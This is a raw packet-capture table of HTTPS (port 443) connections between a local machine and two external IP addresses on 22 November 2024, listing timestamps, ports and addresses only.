Nov 22, 2024 23:00:40.799763918 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.799890041 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.799890041 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.799911022 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.800347090 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.800389051 CET	443	49778	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.800441980 CET	49778	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.810439110 CET	49779	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.810470104 CET	443	49779	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:40.810549021 CET	49779	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.810883045 CET	49779	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:40.810894966 CET	443	49779	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:42.166044950 CET	443	49779	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:42.166151047 CET	49779	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:42.167632103 CET	49779	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:42.167638063 CET	443	49779	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:42.168181896 CET	443	49779	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:42.169065952 CET	49779	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:42.215334892 CET	443	49779	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:42.635320902 CET	443	49779	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:42.635442972 CET	443	49779	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:42.635571003 CET	49779	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:42.636318922 CET	49779	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:42.641629934 CET	49780	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:42.641709089 CET	443	49780	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:42.641849041 CET	49780	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:42.641990900 CET	49780	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:42.642007113 CET	443	49780	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:43.525919914 CET	443	49772	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:43.526000977 CET	443	49772	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:43.526074886 CET	49772	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:43.535022020 CET	49772	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:43.535069942 CET	443	49772	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:44.080427885 CET	443	49780	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:44.081813097 CET	49780	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:44.081851006 CET	443	49780	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:44.563972950 CET	443	49780	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:44.564080000 CET	443	49780	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:44.564143896 CET	49780	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:44.564977884 CET	49780	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:44.570605993 CET	49781	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:44.570697069 CET	443	49781	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:44.570789099 CET	49781	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:44.570991039 CET	49781	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:44.571027040 CET	443	49781	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:45.881896019 CET	443	49781	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:45.883145094 CET	49781	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:45.883222103 CET	443	49781	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:46.342608929 CET	443	49781	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:46.342838049 CET	443	49781	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:46.342921972 CET	49781	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:46.343646049 CET	49781	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:46.348927975 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:46.348999023 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:46.349072933 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:46.349275112 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:46.349292040 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:46.778023005 CET	49783	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:46.778126955 CET	443	49783	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:46.778242111 CET	49783	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:46.779431105 CET	49783	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:46.779462099 CET	443	49783	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:47.169950962 CET	49784	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:47.170022964 CET	443	49784	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:47.170146942 CET	49784	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:47.173252106 CET	49784	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:47.173269987 CET	443	49784	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:47.230808020 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:47.230868101 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:47.230962038 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:47.231149912 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:47.231168032 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:47.242937088 CET	49786	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:47.242981911 CET	443	49786	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:47.243055105 CET	49786	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:47.244865894 CET	49786	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:47.244883060 CET	443	49786	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:47.986844063 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:47.988095045 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:47.988128901 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.496010065 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.496076107 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.496120930 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.496180058 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.496201038 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.496220112 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.496254921 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.664540052 CET	443	49783	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.664988995 CET	49783	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:48.665067911 CET	443	49783	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.666205883 CET	443	49783	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.666660070 CET	49783	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:48.666850090 CET	443	49783	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.666858912 CET	49783	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:48.697438002 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.697494030 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.697536945 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.697563887 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.697592974 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.697618008 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.706640959 CET	49783	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:48.706664085 CET	443	49783	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.734529018 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.734631062 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.734754086 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.734776974 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.734865904 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.862942934 CET	443	49784	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.863251925 CET	49784	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:48.863281965 CET	443	49784	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.863625050 CET	443	49784	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.863943100 CET	49784	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:48.864006996 CET	443	49784	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.864074945 CET	49784	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:48.873670101 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.873728037 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.873789072 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.873796940 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.873864889 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.910001040 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.910048008 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.910136938 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.910144091 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.910279989 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.910284996 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.910414934 CET	443	49782	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.910478115 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.910607100 CET	49782	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.911331892 CET	443	49784	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.920546055 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.920633078 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.920732021 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.920902967 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:48.920937061 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:48.990833044 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.991125107 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:48.991182089 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.992650986 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.992738962 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:48.993024111 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:48.993108034 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:48.993133068 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.001367092 CET	443	49786	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.001566887 CET	49786	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.001597881 CET	443	49786	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.003041983 CET	443	49786	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.003104925 CET	49786	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.003324986 CET	49786	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.003398895 CET	49786	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.003402948 CET	443	49786	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.035347939 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.041644096 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.041682959 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.047342062 CET	443	49786	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.057596922 CET	49786	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.057626963 CET	443	49786	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.088620901 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.104624033 CET	49786	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.525784016 CET	443	49783	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.526262045 CET	443	49783	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.526420116 CET	49783	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.527865887 CET	49783	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.527915955 CET	443	49783	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.710638046 CET	443	49784	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.714400053 CET	443	49784	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.714478016 CET	49784	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.719295025 CET	49784	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.719325066 CET	443	49784	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.856952906 CET	443	49786	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.857151985 CET	443	49786	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.857220888 CET	49786	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.857867002 CET	49786	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.857883930 CET	443	49786	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.872391939 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.872457981 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.872498989 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.872534037 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.872539997 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.872626066 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.872668028 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.899727106 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.899775982 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.899820089 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.899821997 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.899880886 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.910701036 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.914791107 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.914891958 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:49.914918900 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:49.967642069 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.063787937 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.078638077 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.078754902 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.078784943 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.082873106 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.082945108 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.082959890 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.096932888 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.097002029 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.097018003 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.106605053 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.106777906 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.106791973 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.116276026 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.116343021 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.116355896 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.127499104 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.127589941 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.127628088 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.141638994 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.141705990 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.141720057 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.155356884 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.155424118 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.155436993 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.183582067 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.183639050 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.183670998 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.183689117 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.183746099 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.187685013 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.198168993 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.198273897 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.198340893 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.238857985 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.253225088 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:50.254600048 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:50.254689932 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:50.266022921 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.269108057 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.269270897 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.269299984 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.279838085 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.279908895 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.280020952 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.280040979 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.280102015 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.283916950 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.290013075 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.290091991 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.290108919 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.291903973 CET	49788	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.291944027 CET	443	49788	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.292016029 CET	49788	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.292293072 CET	49788	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.292306900 CET	443	49788	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.298412085 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.298470020 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.298491955 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.298506975 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.298566103 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.306102991 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.317166090 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.317245960 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.317260027 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.328877926 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.328955889 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.328980923 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.329008102 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.329070091 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.340876102 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.350368977 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.350441933 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.350444078 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.350466967 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.350523949 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.374960899 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.420639992 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.420732021 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.420754910 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.420780897 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.420836926 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.426876068 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.434137106 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.434190035 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.434195995 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.434211016 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.434293032 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.436682940 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.439335108 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.439388990 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.439397097 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.442382097 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.442440033 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.442445993 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.446250916 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.446315050 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.446321011 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.449239969 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.449285984 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.449290991 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.449301004 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.449347973 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.452231884 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.455204010 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.455254078 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.455260992 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.456737995 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.456793070 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.456799030 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.460144043 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.460196018 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.460201979 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.469394922 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.469456911 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.469471931 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.489646912 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.489716053 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.489732981 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.491558075 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.491611004 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.491624117 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.497437954 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.497513056 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.497524977 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.500452042 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.500510931 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.500523090 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.501935005 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.501991034 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.502008915 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.507777929 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.507837057 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.507848978 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.508817911 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.508872986 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.508884907 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.512234926 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.512274027 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.512304068 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.512320995 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.512444019 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.512609959 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.512691975 CET	443	49785	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.512753963 CET	49785	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.601305008 CET	49789	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.601344109 CET	443	49789	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:50.601409912 CET	49789	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.602149963 CET	49789	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:50.602161884 CET	443	49789	142.250.181.68	192.168.2.16
